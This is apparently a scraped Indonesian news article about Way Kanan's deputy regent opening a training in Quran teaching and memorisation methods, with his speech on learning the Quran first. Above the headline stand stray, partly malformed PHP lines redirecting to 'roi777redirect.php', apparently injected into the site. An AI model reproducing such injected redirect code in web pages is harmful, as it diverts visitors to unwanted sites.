header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Wabup Edward Buka Metode Belajar Mengajar Baca Tulis dan Menghafal Al-Qur'an -
Wabup Edward Buka Metode Belajar Mengajar Baca Tulis dan Menghafal Al-Qur’an

TRANSLAMPUNG.COM, BARADATU –

Wakil Bupati Waykanan Edward Anthoni membuka pendidikan dan latihan Metode Belajar Mengajar Baca Tulis dan Menghafal Al Qur’an di Pondok Pesantren Darul Hikmah kecamatan Baradatu, Senin (8/01).

Hadir dalam acara itu antara lain Dandim 0427/WK Kolonel inf Uchi Cambayong, Kadis Pendidikan Kabupaten Way Kanan Musadi Muharam, Camat Baradatu serta undangan lainnya.

Dalam sambutannya Wakil Bupati Edward Antony memaparkan, bahwa Al-Quran adalah sumber utama dalam hukum Islam, namun kenapa selama ini masyarakat harus terlebih dahulu belajar fiqih dan hadist baru kemudian belajar Al-Quran. Hal ini sudah terjadi sejak lama terjadi disebagian besar umat Islam di Indonesia dalam memahami Islam. Dimana mereka pertama sekali belajar fiqih dulu, lalu baru dicari sumbernya dari hadist lalu dan terakhir Al-Qur’an dan ini jika dianggap perlu.

“Sudah semestinya sejak usia dini seseorang yang beragama Islam harus berawal dari pemahaman terhadap induk ajarannya terlebih yang sudah dijamin kebenarannya oleh Allah SWT yaitu Al-Qur’an, baru berikutnya belajar hadist dan fatwa-fatwa ulama. Hal ini penting agar umat memahami mana yang pokok dan yang cabang. Umat akan sadar mana yang disepakati dan mana yang dapat diperselisihkan. Setiap yang ada di Al-Qur’an itu pokok dan qath’iy dan tidak ada perselisihan,” terang mantan pejabat birokrat ini.

Masih menurut Edward, dengan pemahaman Al-Qur’an yang baik diharapkan tidak akan terjadi lagi perselisihan dan permusuhan yang tidak penting di kalangan umat, karena pesan Al-Qur’an membawa rahmat dan kedamaian. Begitu pentingnya belajar dan mengajarkanAl-Qur’an sampai-sampai Nabi Muhammad SAW turun langsung dan para sahabatnya tekun belajar mengajarkan Al-Qur’an. Ayat-ayat al-Quran turun silih berganti ke bumi ini memakan waktu selama dua puluh dua tahun dua bulan dan dua puluh dua hari lamanya.

“Mengutip hasil penelitian seorang guru besar Harvard University, meneliti di 40 negara untuk mengetahui faktor kemajuan atau kemunduran negara-negara itu. Ternyata, salah satu faktor utamanya menurut sang Guru Besar adalah materi bacaan dan sajian yang disuguhkan khususnya kepada generasi muda. Ditemukannya bahwa dua puluh tahun menjelang kemajuan atau kemunduran negara-negara yang ditelitinya itu, para generasi muda dibekali dengan sajian dan bacaan tertentu,” imbuh Wabup lagi. (Yudi)

News Reporter